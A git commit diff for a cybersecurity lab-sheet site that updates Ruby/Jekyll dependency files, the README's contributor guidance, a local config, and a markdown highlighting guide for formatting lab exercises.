mirror of
https://github.com/cliffe/HacktivityLabSheets.git
synced 2026-02-20 13:50:46 +00:00
Add configuration files and enhance lab content
- Introduced a new local configuration file (_config_local.yml) for local development. - Updated Gemfile to include 'webrick' for Ruby 3.0+ compatibility and removed specific version constraints for 'github-pages'. - Created a new Gemfile.local for local development with updated dependencies. - Added multiple new lab sheets covering topics such as scanning, exploitation, and vulnerability analysis, enhancing the educational content. - Improved lab layout and content presentation, including enhanced syntax highlighting and image handling. - Added various images to support the new lab content and improve visual learning.
This commit is contained in:
Z. Cliffe Schreuders
8
Gemfile
8
Gemfile
@@ -1,10 +1,9 @@
|
||||
source 'https://rubygems.org'
|
||||
|
||||
# GitHub Pages compatible gems
|
||||
gem 'github-pages', '~> 227', group: :jekyll_plugins
|
||||
gem 'github-pages', group: :jekyll_plugins
|
||||
gem 'jekyll-feed', '~> 0.12'
|
||||
gem 'jekyll-sitemap'
|
||||
gem 'jekyll-seo-tag'
|
||||
|
||||
# Windows and JRuby does not include zoneinfo files, so bundle the tzinfo-data gem
|
||||
# and associated library.
|
||||
@@ -18,4 +17,7 @@ gem 'wdm', '~> 0.1.1', :platforms => [:mingw, :x64_mingw, :mswin]
|
||||
|
||||
# Lock `http_parser.rb` gem to `v0.6.x` on JRuby builds since newer versions of the gem
|
||||
# do not have a Java counterpart.
|
||||
gem 'http_parser.rb', '~> 0.6.0', :platforms => [:jruby]
|
||||
gem 'http_parser.rb', '~> 0.6.0', :platforms => [:jruby]
|
||||
|
||||
# Add webrick for Ruby 3.0+ compatibility
|
||||
gem 'webrick', '~> 1.7'
|
||||
|
||||
@@ -18,3 +18,6 @@ gem 'wdm', '~> 0.1.1', :platforms => [:mingw, :x64_mingw, :mswin]
|
||||
# Lock `http_parser.rb` gem to `v0.6.x` on JRuby builds since newer versions of the gem
|
||||
# do not have a Java counterpart.
|
||||
gem 'http_parser.rb', '~> 0.6.0', :platforms => [:jruby]
|
||||
|
||||
# Add webrick for Ruby 3.0+ compatibility
|
||||
gem 'webrick', '~> 1.7'
|
||||
|
||||
23
Gemfile.local
Normal file
23
Gemfile.local
Normal file
@@ -0,0 +1,23 @@
|
||||
source 'https://rubygems.org'
|
||||
|
||||
# Use more recent versions compatible with Ruby 3.2
|
||||
gem 'jekyll', '~> 4.3'
|
||||
gem 'liquid', '~> 4.0'
|
||||
gem 'jekyll-feed', '~> 0.12'
|
||||
gem 'jekyll-sitemap'
|
||||
gem 'jekyll-seo-tag'
|
||||
gem 'jekyll-gist'
|
||||
|
||||
# Windows and JRuby does not include zoneinfo files, so bundle the tzinfo-data gem
|
||||
# and associated library.
|
||||
platforms :mingw, :x64_mingw, :mswin, :jruby do
|
||||
gem 'tzinfo', '>= 1', '< 3'
|
||||
gem 'tzinfo-data'
|
||||
end
|
||||
|
||||
# Performance-booster for watching directories on Windows
|
||||
gem 'wdm', '~> 0.1.1', :platforms => [:mingw, :x64_mingw, :mswin]
|
||||
|
||||
# Lock `http_parser.rb` gem to `v0.6.x` on JRuby builds since newer versions of the gem
|
||||
# do not have a Java counterpart.
|
||||
gem 'http_parser.rb', '~> 0.6.0', :platforms => [:jruby]
|
||||
312
Gemfile.lock
Normal file
312
Gemfile.lock
Normal file
@@ -0,0 +1,312 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (8.0.3)
|
||||
base64
|
||||
benchmark (>= 0.3)
|
||||
bigdecimal
|
||||
concurrent-ruby (~> 1.0, >= 1.3.1)
|
||||
connection_pool (>= 2.2.5)
|
||||
drb
|
||||
i18n (>= 1.6, < 2)
|
||||
logger (>= 1.4.2)
|
||||
minitest (>= 5.1)
|
||||
securerandom (>= 0.3)
|
||||
tzinfo (~> 2.0, >= 2.0.5)
|
||||
uri (>= 0.13.1)
|
||||
addressable (2.8.7)
|
||||
public_suffix (>= 2.0.2, < 7.0)
|
||||
base64 (0.3.0)
|
||||
benchmark (0.4.1)
|
||||
bigdecimal (3.2.3)
|
||||
coffee-script (2.4.1)
|
||||
coffee-script-source
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.23.12)
|
||||
concurrent-ruby (1.3.5)
|
||||
connection_pool (2.5.4)
|
||||
dnsruby (1.73.0)
|
||||
base64 (>= 0.2)
|
||||
logger (~> 1.6)
|
||||
simpleidn (~> 0.2.1)
|
||||
drb (2.2.3)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0)
|
||||
ethon (0.15.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.10.0)
|
||||
faraday (2.13.4)
|
||||
faraday-net_http (>= 2.0, < 3.5)
|
||||
json
|
||||
logger
|
||||
faraday-net_http (3.4.1)
|
||||
net-http (>= 0.5.0)
|
||||
ffi (1.17.2-aarch64-linux-gnu)
|
||||
ffi (1.17.2-aarch64-linux-musl)
|
||||
ffi (1.17.2-arm-linux-gnu)
|
||||
ffi (1.17.2-arm-linux-musl)
|
||||
ffi (1.17.2-arm64-darwin)
|
||||
ffi (1.17.2-x86_64-darwin)
|
||||
ffi (1.17.2-x86_64-linux-gnu)
|
||||
ffi (1.17.2-x86_64-linux-musl)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (228)
|
||||
github-pages-health-check (= 1.17.9)
|
||||
jekyll (= 3.9.3)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.4.0)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
jekyll-github-metadata (= 2.13.0)
|
||||
jekyll-include-cache (= 0.2.1)
|
||||
jekyll-mentions (= 1.6.0)
|
||||
jekyll-optional-front-matter (= 0.3.2)
|
||||
jekyll-paginate (= 1.1.0)
|
||||
jekyll-readme-index (= 0.3.0)
|
||||
jekyll-redirect-from (= 0.16.0)
|
||||
jekyll-relative-links (= 0.6.1)
|
||||
jekyll-remote-theme (= 0.4.3)
|
||||
jekyll-sass-converter (= 1.5.2)
|
||||
jekyll-seo-tag (= 2.8.0)
|
||||
jekyll-sitemap (= 1.4.0)
|
||||
jekyll-swiss (= 1.0.0)
|
||||
jekyll-theme-architect (= 0.2.0)
|
||||
jekyll-theme-cayman (= 0.2.0)
|
||||
jekyll-theme-dinky (= 0.2.0)
|
||||
jekyll-theme-hacker (= 0.2.0)
|
||||
jekyll-theme-leap-day (= 0.2.0)
|
||||
jekyll-theme-merlot (= 0.2.0)
|
||||
jekyll-theme-midnight (= 0.2.0)
|
||||
jekyll-theme-minimal (= 0.2.0)
|
||||
jekyll-theme-modernist (= 0.2.0)
|
||||
jekyll-theme-primer (= 0.6.0)
|
||||
jekyll-theme-slate (= 0.2.0)
|
||||
jekyll-theme-tactile (= 0.2.0)
|
||||
jekyll-theme-time-machine (= 0.2.0)
|
||||
jekyll-titles-from-headings (= 0.5.3)
|
||||
jemoji (= 0.12.0)
|
||||
kramdown (= 2.3.2)
|
||||
kramdown-parser-gfm (= 1.1.0)
|
||||
liquid (= 4.0.4)
|
||||
mercenary (~> 0.3)
|
||||
minima (= 2.5.1)
|
||||
nokogiri (>= 1.13.6, < 2.0)
|
||||
rouge (= 3.26.0)
|
||||
terminal-table (~> 1.4)
|
||||
github-pages-health-check (1.17.9)
|
||||
addressable (~> 2.3)
|
||||
dnsruby (~> 1.60)
|
||||
octokit (~> 4.0)
|
||||
public_suffix (>= 3.0, < 5.0)
|
||||
typhoeus (~> 1.3)
|
||||
html-pipeline (2.14.3)
|
||||
activesupport (>= 2)
|
||||
nokogiri (>= 1.4)
|
||||
http_parser.rb (0.8.0)
|
||||
i18n (1.14.7)
|
||||
concurrent-ruby (~> 1.0)
|
||||
jekyll (3.9.3)
|
||||
addressable (~> 2.4)
|
||||
colorator (~> 1.0)
|
||||
em-websocket (~> 0.5)
|
||||
i18n (>= 0.7, < 2)
|
||||
jekyll-sass-converter (~> 1.0)
|
||||
jekyll-watch (~> 2.0)
|
||||
kramdown (>= 1.17, < 3)
|
||||
liquid (~> 4.0)
|
||||
mercenary (~> 0.3.3)
|
||||
pathutil (~> 0.9)
|
||||
rouge (>= 1.7, < 4)
|
||||
safe_yaml (~> 1.0)
|
||||
jekyll-avatar (0.7.0)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-coffeescript (1.1.1)
|
||||
coffee-script (~> 2.2)
|
||||
coffee-script-source (~> 1.11.1)
|
||||
jekyll-commonmark (1.4.0)
|
||||
commonmarker (~> 0.22)
|
||||
jekyll-commonmark-ghpages (0.4.0)
|
||||
commonmarker (~> 0.23.7)
|
||||
jekyll (~> 3.9.0)
|
||||
jekyll-commonmark (~> 1.4.0)
|
||||
rouge (>= 2.0, < 5.0)
|
||||
jekyll-default-layout (0.1.4)
|
||||
jekyll (~> 3.0)
|
||||
jekyll-feed (0.15.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-gist (1.5.0)
|
||||
octokit (~> 4.2)
|
||||
jekyll-github-metadata (2.13.0)
|
||||
jekyll (>= 3.4, < 5.0)
|
||||
octokit (~> 4.0, != 4.4.0)
|
||||
jekyll-include-cache (0.2.1)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-mentions (1.6.0)
|
||||
html-pipeline (~> 2.3)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-optional-front-matter (0.3.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-paginate (1.1.0)
|
||||
jekyll-readme-index (0.3.0)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
jekyll-redirect-from (0.16.0)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-relative-links (0.6.1)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-remote-theme (0.4.3)
|
||||
addressable (~> 2.0)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
|
||||
rubyzip (>= 1.3.0, < 3.0)
|
||||
jekyll-sass-converter (1.5.2)
|
||||
sass (~> 3.4)
|
||||
jekyll-seo-tag (2.8.0)
|
||||
jekyll (>= 3.8, < 5.0)
|
||||
jekyll-sitemap (1.4.0)
|
||||
jekyll (>= 3.7, < 5.0)
|
||||
jekyll-swiss (1.0.0)
|
||||
jekyll-theme-architect (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-cayman (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-dinky (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-hacker (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-leap-day (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-merlot (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-midnight (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-minimal (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-modernist (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-primer (0.6.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-github-metadata (~> 2.9)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-slate (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-tactile (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-theme-time-machine (0.2.0)
|
||||
jekyll (> 3.5, < 5.0)
|
||||
jekyll-seo-tag (~> 2.0)
|
||||
jekyll-titles-from-headings (0.5.3)
|
||||
jekyll (>= 3.3, < 5.0)
|
||||
jekyll-watch (2.2.1)
|
||||
listen (~> 3.0)
|
||||
jemoji (0.12.0)
|
||||
gemoji (~> 3.0)
|
||||
html-pipeline (~> 2.2)
|
||||
jekyll (>= 3.0, < 5.0)
|
||||
json (2.15.0)
|
||||
kramdown (2.3.2)
|
||||
rexml
|
||||
kramdown-parser-gfm (1.1.0)
|
||||
kramdown (~> 2.0)
|
||||
liquid (4.0.4)
|
||||
listen (3.9.0)
|
||||
rb-fsevent (~> 0.10, >= 0.10.3)
|
||||
rb-inotify (~> 0.9, >= 0.9.10)
|
||||
logger (1.7.0)
|
||||
mercenary (0.3.6)
|
||||
minima (2.5.1)
|
||||
jekyll (>= 3.5, < 5.0)
|
||||
jekyll-feed (~> 0.9)
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.25.5)
|
||||
net-http (0.6.0)
|
||||
uri
|
||||
nokogiri (1.18.10-aarch64-linux-gnu)
|
||||
racc (~> 1.4)
|
||||
nokogiri (1.18.10-aarch64-linux-musl)
|
||||
racc (~> 1.4)
|
||||
nokogiri (1.18.10-arm-linux-gnu)
|
||||
racc (~> 1.4)
|
||||
nokogiri (1.18.10-arm-linux-musl)
|
||||
racc (~> 1.4)
|
||||
nokogiri (1.18.10-arm64-darwin)
|
||||
racc (~> 1.4)
|
||||
nokogiri (1.18.10-x86_64-darwin)
|
||||
racc (~> 1.4)
|
||||
nokogiri (1.18.10-x86_64-linux-gnu)
|
||||
racc (~> 1.4)
|
||||
nokogiri (1.18.10-x86_64-linux-musl)
|
||||
racc (~> 1.4)
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
pathutil (0.16.2)
|
||||
forwardable-extended (~> 2.6)
|
||||
public_suffix (4.0.7)
|
||||
racc (1.8.1)
|
||||
rb-fsevent (0.11.2)
|
||||
rb-inotify (0.11.1)
|
||||
ffi (~> 1.0)
|
||||
rexml (3.4.4)
|
||||
rouge (3.26.0)
|
||||
rubyzip (2.4.1)
|
||||
safe_yaml (1.0.5)
|
||||
sass (3.7.4)
|
||||
sass-listen (~> 4.0.0)
|
||||
sass-listen (4.0.0)
|
||||
rb-fsevent (~> 0.9, >= 0.9.4)
|
||||
rb-inotify (~> 0.9, >= 0.9.7)
|
||||
sawyer (0.9.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (>= 0.17.3, < 3)
|
||||
securerandom (0.4.1)
|
||||
simpleidn (0.2.3)
|
||||
terminal-table (1.8.0)
|
||||
unicode-display_width (~> 1.1, >= 1.1.1)
|
||||
typhoeus (1.5.0)
|
||||
ethon (>= 0.9.0, < 0.16.0)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
unicode-display_width (1.8.0)
|
||||
uri (1.0.3)
|
||||
webrick (1.9.1)
|
||||
|
||||
PLATFORMS
|
||||
aarch64-linux-gnu
|
||||
aarch64-linux-musl
|
||||
arm-linux-gnu
|
||||
arm-linux-musl
|
||||
arm64-darwin
|
||||
x86_64-darwin
|
||||
x86_64-linux-gnu
|
||||
x86_64-linux-musl
|
||||
|
||||
DEPENDENCIES
|
||||
github-pages
|
||||
http_parser.rb (~> 0.6.0)
|
||||
jekyll-feed (~> 0.12)
|
||||
jekyll-sitemap
|
||||
tzinfo (>= 1, < 3)
|
||||
tzinfo-data
|
||||
wdm (~> 0.1.1)
|
||||
webrick (~> 1.7)
|
||||
|
||||
BUNDLED WITH
|
||||
2.7.2
|
||||
111
README.md
111
README.md
@@ -1,41 +1,50 @@
|
||||
# HacktivityLabSheets
|
||||
|
||||
Lab sheets for Hacktivity SecGen labs - A collection of hands-on cybersecurity lab exercises.
|
||||
**Contribute to Hacktivity Cyber Security Labs** - This repository contains the source lab sheets for [Hacktivity Cyber Security Labs](https://hacktivity.co.uk), a comprehensive cyber security education platform.
|
||||
|
||||
## 🌐 Live Site
|
||||
## 🎯 About This Repository
|
||||
|
||||
Visit the lab sheets at: **https://cliffe.github.io/HacktivityLabSheets**
|
||||
This repository serves as the **contribution hub** for lab content used by [Hacktivity Cyber Security Labs](https://hacktivity.co.uk). The lab sheets are designed to work with SecGen (Security Scenario Generator) to create vulnerable virtual machines for hands-on cybersecurity education.
|
||||
|
||||
## 🌐 Live Sites
|
||||
|
||||
- **Hacktivity Cyber Security Labs**: [https://hacktivity.co.uk](https://hacktivity.co.uk) - The main platform where students access and complete labs
|
||||
- **Lab Sheets Preview**: [https://cliffe.github.io/HacktivityLabSheets](https://cliffe.github.io/HacktivityLabSheets) - Preview of lab content for contributors
|
||||
|
||||
## 📚 Available Labs
|
||||
|
||||
This repository contains practical cybersecurity lab exercises designed for educational purposes. Each lab includes:
|
||||
This repository contains practical cyber security lab exercises designed for educational purposes, covering topics from Linux fundamentals to advanced exploitation techniques.
|
||||
|
||||
- Step-by-step instructions
|
||||
- Learning objectives
|
||||
- Prerequisites
|
||||
- Expected duration
|
||||
- Hands-on exercises with real tools
|
||||
- Analysis questions
|
||||
- Additional challenges
|
||||
## 🚀 Getting Started
|
||||
|
||||
### Current Lab Topics
|
||||
### For Leaners/Hackers
|
||||
1. Visit [Hacktivity Cyber Security Labs](https://hacktivity.co.uk) to access the full platform
|
||||
2. Sign up for an account to start completing labs
|
||||
3. Use the lab sheets in this repository as reference material
|
||||
|
||||
- **Network Scanning**: Learn reconnaissance techniques with Nmap
|
||||
- **Web Application Security**: Vulnerability assessment with OWASP ZAP
|
||||
- **Digital Forensics**: Incident response and evidence analysis
|
||||
- More labs are continuously being added!
|
||||
|
||||
## 🚀 Using the Labs
|
||||
|
||||
1. Visit the [live site](https://cliffe.github.io/HacktivityLabSheets) to browse available labs
|
||||
2. Click on any lab title to view detailed instructions
|
||||
3. Follow the setup and execution steps provided
|
||||
4. Complete the exercises and answer the analysis questions
|
||||
### For Contributors
|
||||
1. Fork this repository to contribute lab sheet improvements (and see SecGen for the software components of challenges)
|
||||
2. Follow the contribution guidelines below
|
||||
3. Use the automated setup script (`./start-server-github-pages.sh`) for easy local development
|
||||
4. Submit pull requests to improve existing labs or add new ones
|
||||
|
||||
## 🛠 Local Development
|
||||
|
||||
To run the site locally for development:
|
||||
|
||||
### Quick Start (Recommended)
|
||||
```bash
|
||||
# Clone the repository
|
||||
git clone https://github.com/cliffe/HacktivityLabSheets.git
|
||||
cd HacktivityLabSheets
|
||||
|
||||
# Run the automated setup script (GitHub Pages compatible)
|
||||
./start-server-github-pages.sh
|
||||
|
||||
# Visit http://localhost:4000 in your browser
|
||||
```
|
||||
|
||||
### Manual Setup
|
||||
```bash
|
||||
# Install Jekyll (if not already installed)
|
||||
gem install bundler jekyll
|
||||
@@ -53,10 +62,17 @@ bundle exec jekyll serve
|
||||
# Visit http://localhost:4000 in your browser
|
||||
```
|
||||
|
||||
## 📝 Contributing New Labs
|
||||
## 📝 Contributing to Hacktivity Labs
|
||||
|
||||
We welcome contributions of new lab exercises! To add a new lab:
|
||||
We welcome contributions to improve and expand the lab content used by Hacktivity Cyber Security Labs! You can:
|
||||
|
||||
- **Improve existing labs**: Fix errors, clarify instructions, add better explanations
|
||||
- **Add new labs**: Create new exercises covering additional cybersecurity topics
|
||||
- **Update content**: Keep lab content current with latest tools and techniques
|
||||
|
||||
### How to Contribute
|
||||
|
||||
#### For New Labs
|
||||
1. Create a new markdown file in the `_labs/` directory
|
||||
2. Use the following front matter template:
|
||||
|
||||
@@ -64,9 +80,6 @@ We welcome contributions of new lab exercises! To add a new lab:
|
||||
---
|
||||
title: "Lab X: Your Lab Title"
|
||||
description: "Brief description of what the lab covers"
|
||||
difficulty: "Beginner/Intermediate/Advanced"
|
||||
duration: "X minutes"
|
||||
prerequisites: "Required background knowledge"
|
||||
tags: ["tag1", "tag2", "tag3"]
|
||||
---
|
||||
```
|
||||
@@ -74,37 +87,47 @@ tags: ["tag1", "tag2", "tag3"]
|
||||
3. Write your lab content using markdown
|
||||
4. Test locally before submitting a pull request
|
||||
|
||||
#### For Improving Existing Labs
|
||||
1. Browse existing labs in the `_labs/` directory
|
||||
2. Make improvements to content, clarity, or accuracy
|
||||
3. Test your changes locally
|
||||
4. Submit a pull request with a clear description of improvements
|
||||
|
||||
### Lab Content Guidelines
|
||||
|
||||
- **Clear Objectives**: Start with what students will learn
|
||||
- **Prerequisites**: List required background knowledge
|
||||
- **Step-by-Step Instructions**: Provide detailed, testable steps
|
||||
- **Questions and Analysis**: Include thought-provoking questions
|
||||
- **Safety Warnings**: Always emphasize ethical use and authorization
|
||||
- **Resources**: Link to additional learning materials
|
||||
- **Proper Highlighting**: Use the highlighting system for better readability
|
||||
|
||||
## ⚠️ Ethical Use
|
||||
### Highlighting System
|
||||
|
||||
All lab exercises are designed for educational purposes in controlled environments. Users must:
|
||||
This repository uses a special highlighting system to make lab content more readable and actionable. See the [Example Highlighting Guide](_labs/example_highlighting_guide.md) for comprehensive instructions on:
|
||||
|
||||
- Only practice on systems they own or have explicit permission to test
|
||||
- Follow all applicable laws and regulations
|
||||
- Respect terms of service and acceptable use policies
|
||||
- Use knowledge gained responsibly and ethically
|
||||
- How to properly highlight actions, tips, hints, and warnings
|
||||
- Formatting commands and code blocks
|
||||
- Using VM context indicators
|
||||
- Creating effective question and flag blocks
|
||||
- Best practices for lab sheet formatting
|
||||
|
||||
**Important**: When contributing to existing labs, follow the highlighting patterns established in the guide to maintain consistency across all lab sheets.
|
||||
|
||||
## 📄 License
|
||||
|
||||
This project is licensed under the GPL-3.0 License - see the [LICENSE](LICENSE) file for details.
|
||||
|
||||
## 🤝 Support
|
||||
## 🤝 Support & Community
|
||||
|
||||
If you encounter issues or have questions:
|
||||
### For Learners / Hackers
|
||||
- Visit [Hacktivity Cyber Security Labs](https://hacktivity.co.uk) for the full learning platform
|
||||
- Check lab instructions carefully before seeking help
|
||||
- Join the Hacktivity Discord server for community support
|
||||
|
||||
1. Check the lab instructions carefully
|
||||
2. Review the prerequisites
|
||||
3. Open an issue on GitHub with detailed information
|
||||
4. Join the discussion in our community forums
|
||||
### For Contributors
|
||||
- Open an issue on GitHub for bugs or feature requests
|
||||
- Join discussions about lab improvements
|
||||
|
||||
## 🎯 About SecGen
|
||||
|
||||
These labs are designed to work with [SecGen (Security Scenario Generator)](https://github.com/cliffe/SecGen), which creates vulnerable virtual machines for security education and training.
|
||||
Hacktivty is powerd by our open source [SecGen (Security Scenario Generator)](https://github.com/cliffe/SecGen), which creates vulnerable virtual machines for security education and training.
|
||||
|
||||
|
||||
54
_config_local.yml
Normal file
54
_config_local.yml
Normal file
@@ -0,0 +1,54 @@
|
||||
# Site settings
|
||||
title: Hacktivity Lab Sheets
|
||||
description: Lab sheets for Hacktivity SecGen labs
|
||||
baseurl: "" # Empty for local development
|
||||
url: "http://localhost:4000"
|
||||
|
||||
# GitHub Pages settings
|
||||
github:
|
||||
repository_name: HacktivityLabSheets
|
||||
repository: "cliffe/HacktivityLabSheets"
|
||||
|
||||
# Jekyll settings
|
||||
markdown: kramdown
|
||||
highlighter: rouge
|
||||
|
||||
# Collections for organizing labs
|
||||
collections:
|
||||
labs:
|
||||
output: true
|
||||
permalink: /:collection/:categories/:name/
|
||||
|
||||
# Default settings for lab posts
|
||||
defaults:
|
||||
- scope:
|
||||
path: "_labs"
|
||||
type: "labs"
|
||||
values:
|
||||
layout: "lab"
|
||||
- scope:
|
||||
path: "_labs/**"
|
||||
type: "labs"
|
||||
values:
|
||||
layout: "lab"
|
||||
|
||||
# Plugin settings
|
||||
plugins:
|
||||
- jekyll-feed
|
||||
- jekyll-sitemap
|
||||
- jekyll-seo-tag
|
||||
- jekyll-gist
|
||||
- jekyll-paginate
|
||||
|
||||
# Exclude files from processing
|
||||
exclude:
|
||||
- README.md
|
||||
- LICENSE
|
||||
- .gitignore
|
||||
- Gemfile
|
||||
- Gemfile.lock
|
||||
- vendor/
|
||||
- .bundle/
|
||||
- .sass-cache/
|
||||
- .jekyll-cache/
|
||||
- .jekyll-metadata
|
||||
@@ -24,7 +24,7 @@ The highlighting system supports two main types of highlighting:
|
||||
## 📝 Inline Highlighting Syntax
|
||||
|
||||
### Basic Format
|
||||
Use `==type: content==` where `type` is one of: `action`, `tip`, `hint`, `warning`, `VM`
|
||||
Use `==type: content==` where `type` is one of: `action`, `tip`, `hint`, `warning`, `VM`, `question`, `edit`
|
||||
|
||||
### Command Formatting
|
||||
All bash/terminal commands should be properly formatted with markdown code blocks:
|
||||
@@ -81,10 +81,26 @@ msfvenom -l payload | less
|
||||
==VM: On the Windows target machine==
|
||||
```
|
||||
|
||||
**Question Highlights:**
|
||||
```markdown
|
||||
==question: Self-study Question:==
|
||||
==question: Log Book Question:==
|
||||
==question: Reflection Question:==
|
||||
==question: Discussion Question:==
|
||||
```
|
||||
|
||||
**Edit Highlights:**
|
||||
```markdown
|
||||
==edit: Replace with your IP address==
|
||||
==edit: Change to your target IP==
|
||||
==edit: Update with your network range==
|
||||
==edit: Modify as needed==
|
||||
```
|
||||
|
||||
## 📦 Block-Level Highlighting Syntax
|
||||
|
||||
### Basic Format
|
||||
Use `> Type: content` where `Type` is one of: `Action`, `Tip`, `Warning`, `Hint`, `Note`
|
||||
Use `> Type: content` where `Type` is one of: `Action`, `Tip`, `Warning`, `Hint`, `Note`, `Question`, `Flag`
|
||||
|
||||
### Examples
|
||||
|
||||
@@ -113,7 +129,23 @@ Use `> Type: content` where `Type` is one of: `Action`, `Tip`, `Warning`, `Hint`
|
||||
|
||||
> Note: This command lists all processes running on the system. The "aux" flags provide detailed information about each process.
|
||||
|
||||
**Important**: Since the "Note:", "Tip:", and "Hint:" labels are not visible in the rendered output, always capitalize the first word after the colon to make the content clear and readable.
|
||||
**Question Blocks:**
|
||||
> Question: What are the key differences between bind shells and reverse shells? Consider the network connectivity requirements for each approach.
|
||||
|
||||
> Question: How does the Metasploit framework help in penetration testing? What are the advantages of using a standardized exploitation framework?
|
||||
|
||||
**Flag Blocks:**
|
||||
> Flag: Find the flag hidden in the victim's home directory and submit it to Hacktivity to complete this challenge.
|
||||
|
||||
> Flag: There is a flag to be found on a user's Desktop! Find and submit it to Hacktivity.
|
||||
|
||||
**When to Use Question Blocks:**
|
||||
Use `> Question:` for clear self-study or log book questions where students are expected to answer for themselves. Do NOT use for rhetorical questions that are answered later in the lab.
|
||||
|
||||
**When to Use Flag Blocks:**
|
||||
Use `> Flag:` for CTF challenge tasks where students need to find and submit flags. This highlights the competitive/assessment aspect of the task.
|
||||
|
||||
**Important**: Since the "Note:", "Tip:", "Hint:", "Question:", and "Flag:" labels are not visible in the rendered output, always capitalize the first word after the colon to make the content clear and readable.
|
||||
|
||||
## 🤖 AI Instructions for Lab Sheet Editing
|
||||
|
||||
@@ -194,7 +226,34 @@ Look for:
|
||||
|
||||
**Convert to:** `> Note: [troubleshooting or explanation content]` for block-level notes
|
||||
|
||||
**Important**: Always capitalize the first word after "Note:", "Tip:", or "Hint:" since these labels are not visible in the rendered output.
|
||||
### Step 7: Identify Self-Study and Log Book Questions
|
||||
Look for:
|
||||
- Clear questions where students are expected to provide their own answers
|
||||
- Self-study questions for reflection and learning
|
||||
- Log book questions for documentation and record-keeping
|
||||
- Questions that require student analysis or research
|
||||
|
||||
**Convert to:** `> Question: [question content]` for block-level questions
|
||||
|
||||
### Step 8: Identify CTF Flag Tasks
|
||||
Look for:
|
||||
- Tasks that ask students to find and submit flags
|
||||
- CTF challenge completion requirements
|
||||
- Assessment tasks that involve finding specific information
|
||||
- Competitive elements in the lab
|
||||
|
||||
**Convert to:** `> Flag: [flag task content]` for block-level flag tasks
|
||||
|
||||
**Important Guidelines for Question Blocks:**
|
||||
- **USE** `> Question:` for self-study questions, log book questions, and reflection questions where students answer for themselves
|
||||
- **DO NOT USE** `> Question:` for rhetorical questions that are answered later in the lab
|
||||
- **DO NOT USE** `> Question:` for questions immediately followed by the answer in the text
|
||||
|
||||
**Important Guidelines for Flag Blocks:**
|
||||
- **USE** `> Flag:` for CTF challenge tasks where students need to find and submit flags
|
||||
- **DO NOT USE** `> Flag:` for general information gathering tasks
|
||||
|
||||
**Important**: Always capitalize the first word after "Note:", "Tip:", "Hint:", "Question:", or "Flag:" since these labels are not visible in the rendered output.
|
||||
|
||||
|
||||
## 📋 Conversion Examples
|
||||
@@ -301,6 +360,24 @@ msfvenom -l payload \| less
|
||||
|
||||
to see available payloads.
|
||||
```
|
||||
|
||||
### Before (Plain Text):
|
||||
```
|
||||
Ping your own Kali VM from Kali itself (with the IP address you noted earlier):
|
||||
|
||||
ping *Kali-IP-address*
|
||||
```
|
||||
|
||||
### After (Highlighted):
|
||||
```
|
||||
==action: Ping your own Kali VM from Kali itself (with the IP address you noted earlier):==
|
||||
|
||||
```bash
|
||||
ping ==edit:Kali-IP-address==
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
### Before (Plain Text):
|
||||
```
|
||||
Note, this is lowercase “LS”.
|
||||
@@ -319,9 +396,13 @@ When properly highlighted, the content will display as:
|
||||
- **Hint highlights**: Green background with 💭 icon
|
||||
- **Warning highlights**: Orange background with ⚠️ icon
|
||||
- **VM highlights**: Light blue background with 🖥️ icon
|
||||
- **Question highlights**: Teal background with ❓ icon
|
||||
